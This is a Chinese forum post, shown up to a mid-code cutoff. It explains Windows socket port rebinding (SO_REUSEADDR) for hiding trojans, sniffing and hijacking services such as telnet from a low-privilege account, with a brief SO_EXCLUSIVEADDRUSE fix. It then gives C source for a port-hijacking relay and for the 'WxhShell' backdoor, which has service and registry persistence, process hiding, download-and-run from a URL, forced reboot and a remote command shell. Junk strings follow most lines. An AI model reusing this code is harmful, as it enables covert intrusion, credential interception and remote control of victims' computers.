社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19158阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 27gm_ *  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w/@%xy  
n[7zK'%Dxg  
  saddr.sin_family = AF_INET; YLr2j 7  
#.aLx$"a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3Pq)RD|hn  
rJxT)bR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :H 7 "W<  
"d\8OOU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (/BkwbJyE  
CbQ%[x9|  
  这意味着什么?意味着可以进行如下的攻击: @5ybBh]   
)FCqYCfk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n(MEG'9}  
I!bZ-16X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `_ L|I s=n  
7u(i4O& k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &ICO{#v5  
F!<x;h(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8hY)r~!b'  
G 0 yt%qHE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q5Mif\  
1jb@n xRjO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DKH9 O  
w[_Uv4M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _69\#YvCG  
' ga2C\)  
  #include 5sUnEHN  
  #include =Ch#pLmH  
  #include }Z=Qy;zk  
  #include    pq`MO .R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oPV"JGa/B4  
  int main() .:/@<V+K  
  {  q\"$~*  
  WORD wVersionRequested; ]QQ"7_+  
  DWORD ret; ^m9cEl^:nQ  
  WSADATA wsaData; Y]Q*I\X  
  BOOL val; ZvJx01F{  
  SOCKADDR_IN saddr; jTIn@Q  
  SOCKADDR_IN scaddr; H9?~#GPb  
  int err; cR} =3|t  
  SOCKET s; ~+hG}7(:  
  SOCKET sc; l+,rc*-j0  
  int caddsize; X35hLp8 M  
  HANDLE mt; h:wD &Fh8  
  DWORD tid;   cPSpPx  
  wVersionRequested = MAKEWORD( 2, 2 ); M`FL&Ac  
  err = WSAStartup( wVersionRequested, &wsaData ); GKr L  
  if ( err != 0 ) { 8Sa<I .l  
  printf("error!WSAStartup failed!\n"); }"v "^5  
  return -1; >XN&Q VE  
  } J)_ 42Z  
  saddr.sin_family = AF_INET; $Re %+2c  
   ;'urt /  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ljRR  
sj~'.Zs%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Nt?B(.G  
  saddr.sin_port = htons(23); b7/4~_s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZhU2z*qN#  
  { (A_9;uL^_  
  printf("error!socket failed!\n"); >E#4mm  
  return -1; uNjy&I:  
  } Q]C1m<x  
  val = TRUE; UWp(3FQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K[H$qJmPX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hl51R"8o  
  { o/#e y  
  printf("error!setsockopt failed!\n"); lDzVc`c  
  return -1; d!cx%[  
  } f32nO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]2+(i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O #"O.GX<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $oz ZFvJF  
V Puzu|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \} 5\^&}_  
  { Wk?XlCj  
  ret=GetLastError(); ZZUCwczI  
  printf("error!bind failed!\n"); uWSG+  
  return -1; "cZ.86gG`:  
  } AiuF3`Xa  
  listen(s,2); 3-0Y<++W3>  
  while(1) uzOZxW[e  
  { ul E\>5O4h  
  caddsize = sizeof(scaddr); 9ZwhC s O  
  //接受连接请求 Ru/3>n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [&$z[/4:8c  
  if(sc!=INVALID_SOCKET) a[!':-R`s  
  { YGB|6p(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g"xZ{k_3  
  if(mt==NULL) ev`p!p  
  { rz(DZV  
  printf("Thread Creat Failed!\n"); d{  Z  
  break; 98l#+4 +  
  } '` n\YO.N  
  } U}NNb GQj  
  CloseHandle(mt); >i '3\  
  } l\H9Io3  
  closesocket(s); +-ue={ '  
  WSACleanup(); TAP/gN'  
  return 0; Rh39x-`Z  
  }   "dIoIW  
  DWORD WINAPI ClientThread(LPVOID lpParam) a,X3=+_K  
  { `y4+OXZ^  
  SOCKET ss = (SOCKET)lpParam; C M(g4fh  
  SOCKET sc; 0W@C!mD~  
  unsigned char buf[4096]; Z"A:^jZ<s  
  SOCKADDR_IN saddr; !HFwQGP.Y  
  long num; 7J\I%r  
  DWORD val; Z|u_DaSrr|  
  DWORD ret; |e!Sm{#!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OF)X(bi4j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fYpy5vc-dm  
  saddr.sin_family = AF_INET; q^gd1K<N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8I*fPf  
  saddr.sin_port = htons(23); *%8dW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FBe 1f1 sm  
  { w!Z3EA;`  
  printf("error!socket failed!\n"); ]>!]X*\9  
  return -1; %gN8-~$ 1  
  } mR@iGl\\  
  val = 100; Z# 1Qj9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'Z';$N ]  
  { ZC05^  
  ret = GetLastError(); o9JJ_-O"  
  return -1; }a8N!g  
  } c#_%|gg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $OmtN"  
  { ],#9L   
  ret = GetLastError(); >t.I,Zn  
  return -1; x\)-4w<P  
  } kj>XKZL10  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?P}7AF A(W  
  { Q16RDQ*  
  printf("error!socket connect failed!\n"); n {M!l\1  
  closesocket(sc); dz?:)5>I  
  closesocket(ss); zg]9~i8  
  return -1; 'EXp[*  
  } I\":L  
  while(1) \;4RD$J  
  { RP6QS)|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q0Fy$e]u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WKP=[o^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g8^$,  
  num = recv(ss,buf,4096,0); qz?9:"~$C  
  if(num>0) k9a-\UIMet  
  send(sc,buf,num,0); $H?v  
  else if(num==0) TJ#<wIiX  
  break; e<q;` H  
  num = recv(sc,buf,4096,0); %ePInpb  
  if(num>0) th !Gc  
  send(ss,buf,num,0); RE*;nSVFt  
  else if(num==0) bjbm"~  
  break; ;vuok]@  
  } hD sFsG  
  closesocket(ss); 6*CvRb&  
  closesocket(sc); s3oK[:/  
  return 0 ; (T,ST3{*k  
  } znD0&CS9q  
lBl`R|Gt  
.7{,u1N'  
========================================================== l{6fR(d ?  
iielAj*b  
下边附上一个代码,,WXhSHELL *r=6bpi  
<.#i3!  
========================================================== fi`*r\  
C4ge_u#  
#include "stdafx.h" ``U>9S"p)  
MK,#"Ty}zK  
#include <stdio.h> ge*f<#|0U-  
#include <string.h> u`7\o~$  
#include <windows.h> (FP- K  
#include <winsock2.h> !M\8k$#"n  
#include <winsvc.h> ZxY%x/K  
#include <urlmon.h> Ee^2stc-  
XXvM*"3D5  
#pragma comment (lib, "Ws2_32.lib") </Ja@%  
#pragma comment (lib, "urlmon.lib") |G } qY5_  
5Q =o.wf  
#define MAX_USER   100 // 最大客户端连接数 QrDI$p7;'  
#define BUF_SOCK   200 // sock buffer r3;?]r.}7  
#define KEY_BUFF   255 // 输入 buffer Iy'a2@   
iU5M_M$G  
#define REBOOT     0   // 重启 kect)=T(  
#define SHUTDOWN   1   // 关机 0"LJ{:plz  
FZO}+ P  
#define DEF_PORT   5000 // 监听端口 5V]!xi  
sBt,y _LW  
#define REG_LEN     16   // 注册表键长度 -6@#Nq_iWU  
#define SVC_LEN     80   // NT服务名长度 lh{U@,/  
=[`B -?  
// 从dll定义API [<rV "g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CN+[|Mz*p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "K;f[&xO,o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |L,_QXA2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Onz@A"  
M*$#j|  
// wxhshell配置信息 \$$DM"+:;H  
struct WSCFG { lXjhT  
  int ws_port;         // 监听端口 0M-=3T  
  char ws_passstr[REG_LEN]; // 口令 A63=$  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,Y  ./9F  
  char ws_regname[REG_LEN]; // 注册表键名 [2ez"4e  
  char ws_svcname[REG_LEN]; // 服务名 \  2#7B8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RR |Z,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B'SLyf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [`2V!rU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hR(\%p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y,n&g45m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ) G a5c  
5bBY[qp  
}; epXvk &  
m -]E|  
// default Wxhshell configuration $MhfGMk!'  
struct WSCFG wscfg={DEF_PORT, n.F^9j+V  
    "xuhuanlingzhe", .Yg7V'R1  
    1, )&Af[m S  
    "Wxhshell", &!N9.e:-]  
    "Wxhshell", @|N{E I  
            "WxhShell Service", |q!O~<H@  
    "Wrsky Windows CmdShell Service", @` 5P^H7  
    "Please Input Your Password: ", *QH~ z2:[  
  1, xU9T8Lw  
  "http://www.wrsky.com/wxhshell.exe", 5d|hP4fEc  
  "Wxhshell.exe" E7 mB=bt>=  
    }; ON [F  
#l 7(W G  
// 消息定义模块 sYa;vg4[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <Ukeq0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Smg z}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [SJ3FZ<  
char *msg_ws_ext="\n\rExit."; #7v=#Jco  
char *msg_ws_end="\n\rQuit."; o=C:=  
char *msg_ws_boot="\n\rReboot..."; 0Sx$6:-~  
char *msg_ws_poff="\n\rShutdown..."; q[}W&t,  
char *msg_ws_down="\n\rSave to "; efN5(9*9R  
T]oVNy  
char *msg_ws_err="\n\rErr!"; uidoz f2}  
char *msg_ws_ok="\n\rOK!"; n~_;tO  
6 H{G$[2  
char ExeFile[MAX_PATH]; CT{mzC8  
int nUser = 0; gUGMoXSTI|  
HANDLE handles[MAX_USER]; &+|bAn9AJ  
int OsIsNt; o3C GG  
"vvv@sYxi  
SERVICE_STATUS       serviceStatus;  }o[N B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "* 8>` 6E  
L NS O]\  
// 函数声明 $&Lw 2 c0  
int Install(void); <]Btx;}  
int Uninstall(void); E\1e8Wyh  
int DownloadFile(char *sURL, SOCKET wsh); 1 EL#T&  
int Boot(int flag); !:2_y'hA  
void HideProc(void); fD3>g{  
int GetOsVer(void); F81Kxcs  
int Wxhshell(SOCKET wsl); pgd9_'[5  
void TalkWithClient(void *cs); <H,E1kGw9  
int CmdShell(SOCKET sock); 9s4>hw@u  
int StartFromService(void); br;~}GR_h  
int StartWxhshell(LPSTR lpCmdLine); .C|dGE?,  
yU|=)p5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fL(_V/p^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q3<ctd\]Y  
l3N '@GO  
// 数据结构和表定义 dt5`UBvUg  
SERVICE_TABLE_ENTRY DispatchTable[] = UX24*0`\~  
{ d~qZ;uw  
{wscfg.ws_svcname, NTServiceMain}, \)M EM=U  
{NULL, NULL} 7<0oK|~c#  
}; y?'Z'  
blx"WVqo  
// 自我安装 s{uSU1lQn  
int Install(void) LkyT4HC8n  
{ sW]>#e  
  char svExeFile[MAX_PATH]; kF-7OX0)  
  HKEY key; EG!Nsb^,  
  strcpy(svExeFile,ExeFile); "M}3T?0 O  
tS3!cO\  
// 如果是win9x系统,修改注册表设为自启动 OE/r0C<&  
if(!OsIsNt) { !ZS5}/ZU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L'HO"EZFj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h9Tst)iRi  
  RegCloseKey(key); e'X"uH Xt.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XyYP!<].C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K!a7Hg  
  RegCloseKey(key); {W'{A  
  return 0; NCp]!=uM;  
    } q|_Cj]{  
  } o0kKf+[  
} +2#pP  
else { nmw#4yHYy:  
. efbORp  
// 如果是NT以上系统,安装为系统服务 L"L a|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a(_3271  
if (schSCManager!=0) ' -td/w  
{ 09 v m5|  
  SC_HANDLE schService = CreateService R^6]v`j;  
  ( ZdJQ9y  
  schSCManager, "lA8CA  
  wscfg.ws_svcname, Zt \3y  
  wscfg.ws_svcdisp, >p29|TFbV  
  SERVICE_ALL_ACCESS, G&q@B`I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :gM_v?sy  
  SERVICE_AUTO_START, ts &sr  
  SERVICE_ERROR_NORMAL, 9w<k1j  
  svExeFile, ^Sc48iDc  
  NULL, ? @- t.N  
  NULL, ]Wn=Oc{F  
  NULL, 2,rjy|R`  
  NULL, _N"c,P0  
  NULL fBLR  
  ); _| >bOI  
  if (schService!=0) i\zN1T_  
  { MZt&HbD-  
  CloseServiceHandle(schService); a?X #G/)  
  CloseServiceHandle(schSCManager); :0% $u>;O:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )U+&XjK  
  strcat(svExeFile,wscfg.ws_svcname); :+<GJj_d+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A i~d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e@DVf  
  RegCloseKey(key); a/Cc.s   
  return 0; 7 V=%&+  
    } ,#.9^J  
  } m^;A]0h+  
  CloseServiceHandle(schSCManager); D26A%[^O  
} T# 3`&[  
} s;,ulME  
YH3[Jvzf4  
return 1; Wdp4'rB  
} ]4[^S.T=  
#{~3bgY  
// 自我卸载 gcF V$  
int Uninstall(void) .~%,eF;l$  
{ Lu[xoQ~I  
  HKEY key; lj %k/u  
?mh0^G  
if(!OsIsNt) { M5{vYk>,1Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SXRND;-W8  
  RegDeleteValue(key,wscfg.ws_regname); XBos ^Q  
  RegCloseKey(key); 71G00@&w9D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +~?K@n  
  RegDeleteValue(key,wscfg.ws_regname); 0E`6g6xMS  
  RegCloseKey(key); GD<pqm`vVY  
  return 0; *h~(LH"tN  
  } yHxi^D]  
} @l?2",  
} g?9%_&/})A  
else { pJ_>^i=  
]Czq A c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vb2aj!8_?  
if (schSCManager!=0) u\@ L|rh  
{ GI/4<J\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K@@Jt  
  if (schService!=0) [zhcb+^5l  
  { EakS(Q?  
  if(DeleteService(schService)!=0) { oT^r  
  CloseServiceHandle(schService); 6gD|QC~;  
  CloseServiceHandle(schSCManager); l`vr({A  
  return 0; k6??+b:rE  
  } 2"B3Q:0he|  
  CloseServiceHandle(schService); ?v Z5 ^k  
  } 4.'KT;[_1/  
  CloseServiceHandle(schSCManager); B=hJ*;:p  
} !gG\jC~n  
} G2hBJTW  
5U.,iQ(d  
return 1; ) q'~<QxI\  
} uH8`ipX  
.iH#8Z  
// 从指定url下载文件 YbE1yOJ&m  
int DownloadFile(char *sURL, SOCKET wsh) J!*Pg<  
{ Zq>}SR  
  HRESULT hr; BXX1G  
char seps[]= "/"; Wg5i#6y8w  
char *token; o/p'eY:)  
char *file; Lz;E/a}s  
char myURL[MAX_PATH]; -u%'u~s  
char myFILE[MAX_PATH]; P8;f^3V(+/  
ot.R Gpg%  
strcpy(myURL,sURL); :]-? l4(%  
  token=strtok(myURL,seps); AV?<D.<  
  while(token!=NULL) }S>:!9f  
  { !d=Q@oy5  
    file=token; qYR+qSAJP  
  token=strtok(NULL,seps); gb@ |\n  
  } My\  
V39)[FH}  
GetCurrentDirectory(MAX_PATH,myFILE); o!M*cyq  
strcat(myFILE, "\\"); x_|:3I  
strcat(myFILE, file); ~*uxKEH  
  send(wsh,myFILE,strlen(myFILE),0); fY9/u=  
send(wsh,"...",3,0); -}r(75C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YK|Y^TU^  
  if(hr==S_OK) sYY=MD  
return 0; /yj-^u\R  
else . G ~,h  
return 1; 7<c&)No;  
i4oBi]$T  
} i*%2 e)  
}V % b  
// 系统电源模块 \^%5!  
int Boot(int flag) Y/w) VV  
{ 9 ulr6  
  HANDLE hToken; P1m PC  
  TOKEN_PRIVILEGES tkp; _G5M Q%z  
yy-\$<j  
  if(OsIsNt) { +qEvz<kch  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #] 5|Qhrr+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WS)u{ or  
    tkp.PrivilegeCount = 1; O@bDMg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CmPix]YMQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ICgyCsZ,  
if(flag==REBOOT) { $\@yH^hL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5PlTf?Ao  
  return 0; A4W61f  
} v]HiG_C  
else { `;R|SyrX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -/ #tQ~{gs  
  return 0; <ArP_! `3  
} kVZ5>D$  
  } ywV8s|o  
  else { WtTwY8HC  
if(flag==REBOOT) { P'6(HT>F?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !S',V&Yb  
  return 0; #UH7z 4u  
} ^ok;<fJ  
else { (N\Zz*PLz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `'`T'+0  
  return 0; WwDxZ>9jw  
} S Yvifgp  
} V F'! OPN  
VNbq]L(g  
return 1; Lay+)S.ta[  
} B1A5b=6G<  
2JYt.HN  
// win9x进程隐藏模块 YA>du=6y\  
void HideProc(void) `$\Y,9E}x  
{ @.X}S "yr  
$|YIr7?R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c#e_Fs  
  if ( hKernel != NULL ) 8EPV\M1%  
  { ft[g1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^eEj 5Rh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *<!W k\  
    FreeLibrary(hKernel); =`X@+~%-  
  } G K @]61b  
FBcF  
return; w%k)J{\  
} <nj[=C4v  
v=|BqG`  
// 获取操作系统版本 OI.2CF  
int GetOsVer(void) 3HA$k[%7P  
{ [#td  
  OSVERSIONINFO winfo; 05MtQB   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V|.aud=7z  
  GetVersionEx(&winfo); va8V{q@t'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zY|]bP[NEH  
  return 1; AAdRuO{l1  
  else ^ >ca*g  
  return 0; v}]x>f  
} v[6BESu  
b~b(Ed{r  
// 客户端句柄模块 <5(8LMF  
int Wxhshell(SOCKET wsl) .>?["e#,  
{ = sIR[V'(  
  SOCKET wsh; 88U4I  
  struct sockaddr_in client; |7/B20  
  DWORD myID; -i'T!Qg1  
/)de`k"  
  while(nUser<MAX_USER) 7Yxy2[  
{ !o4xI?  
  int nSize=sizeof(client); *<U&DOYV:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EBM\p+x&  
  if(wsh==INVALID_SOCKET) return 1; 64 \ZOG\,  
('uYA&9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vrz!.X~  
if(handles[nUser]==0) g#_?Vxt  
  closesocket(wsh); R\:C|/6f  
else [ylGNuy  
  nUser++; VSZ6;&2^  
  } RQ{w`> K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S/d})8~.  
Xt= &  
  return 0; i&>,aiH@  
} gH\r# wy|  
'{cN~A2b4  
// 关闭 socket dtM@iDljj  
void CloseIt(SOCKET wsh) #G.3a]p}"  
{ 2a=WT`xf ?  
closesocket(wsh); 7 Nwi\#o  
nUser--; 0v0Y( Mo@  
ExitThread(0); >W'SG3Hmc  
} 2c%}p0<;|?  
,0&lag  
// 客户端请求句柄 XU9=@y+|v  
void TalkWithClient(void *cs) ^ MJGY,r6b  
{ hCT%1R}rKr  
#4//2N  
  SOCKET wsh=(SOCKET)cs; -t6d`p;dR  
  char pwd[SVC_LEN]; /"CKVQ  
  char cmd[KEY_BUFF]; 4Ro(r sO  
char chr[1]; BQS9q'u_  
int i,j; .4!N #'  
F`I-G~e  
  while (nUser < MAX_USER) { r$v?[x>+K  
[k'Ph33c  
if(wscfg.ws_passstr) { c(#`z!FB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <YeF?$S}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G<jpJ  
  //ZeroMemory(pwd,KEY_BUFF); U-FA^c;  
      i=0; 6>=>Yj  
  while(i<SVC_LEN) { )1fQhdO}x  
@L<[38  
  // 设置超时 DQlaSk4hF_  
  fd_set FdRead; b7AuKY{L  
  struct timeval TimeOut; uaPBM<  
  FD_ZERO(&FdRead); Msd!4TrBJ  
  FD_SET(wsh,&FdRead); Km <Wh=  
  TimeOut.tv_sec=8; GmL|76  
  TimeOut.tv_usec=0; jm-0]ugY&`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (uG4W|?p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D8?$Fn=  
BRD'5 1]|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }uHc7gTBF7  
  pwd=chr[0]; TLSy+x_gX  
  if(chr[0]==0xd || chr[0]==0xa) { B?0{=u  
  pwd=0;  ~M'\9  
  break; G'Q7(c  
  } )%y~{j+M  
  i++; .v" lY2:N  
    } 7t04!dD}  
ooZ-T>$  
  // 如果是非法用户,关闭 socket %UQ?k:aWp|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~o/^=:*  
} 4[J3HLQ  
,#wVqBEk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5R=lTx/Hj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hx^a&"  
F7;xf{n<  
while(1) { S-rqrbr|AT  
tJwF h6  
  ZeroMemory(cmd,KEY_BUFF); l#~Fe D  
40#KcbMa|  
      // 自动支持客户端 telnet标准   7 YK+TGmU^  
  j=0; huF L [  
  while(j<KEY_BUFF) {  ,g,jY]o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N9n1s2;o  
  cmd[j]=chr[0]; *c AoE l  
  if(chr[0]==0xa || chr[0]==0xd) { `>sqP aD  
  cmd[j]=0; -ufmpq.  
  break; 4iLU "~  
  } iO!lG  
  j++; ,{Ab=xV  
    } dJLJh*=AG  
sd[QtK^  
  // 下载文件 z$Nk\9wm  
  if(strstr(cmd,"http://")) { kH&ZPAI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fjWh}w8  
  if(DownloadFile(cmd,wsh)) gNqV>p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 YN` :"  
  else FvJSJ.;E,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GBphab|  
  } {;4PP463  
  else { Qi[D&47XO  
t<|s &  
    switch(cmd[0]) { .u*].As=  
  'u3+k.  
  // 帮助 ? w?k-v  
  case '?': { =+"'=o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T8441qo{>  
    break; 9/$P_Q:3  
  } +z D'r5  
  // 安装 x5|v# -F ^  
  case 'i': { ;Bb5KD  
    if(Install()) vUK>4^{J5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _#4,&bh8  
    else ,\M_q">npc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :7ngVc  
    break; # 0!IUSa  
    } "B}08C,?  
  // 卸载 {@#L'i|  
  case 'r': { 0l6iv[qu5w  
    if(Uninstall()) /K!,^Xn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pHvE`s"Ea  
    else vQ/\BN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *_QHtZG  
    break; NNE,| :  
    } -{*V)J_Co  
  // 显示 wxhshell 所在路径 DXz8C -  
  case 'p': { -(uBTO s  
    char svExeFile[MAX_PATH]; BLH=:zb5  
    strcpy(svExeFile,"\n\r"); :'dc=C  
      strcat(svExeFile,ExeFile); X}-H=1T?  
        send(wsh,svExeFile,strlen(svExeFile),0); f`,Hr?H  
    break; .O#lab`:2  
    } YgiGI <U  
  // 重启 2A%T!9J3  
  case 'b': { 9-Qtj49  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x!~OK::o8  
    if(Boot(REBOOT)) %~5Q^3$O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L%d?eHF  
    else { 12PE{Mut  
    closesocket(wsh); lDU:EJ&DHE  
    ExitThread(0); !5OMAWNU@  
    } N ]7a=  
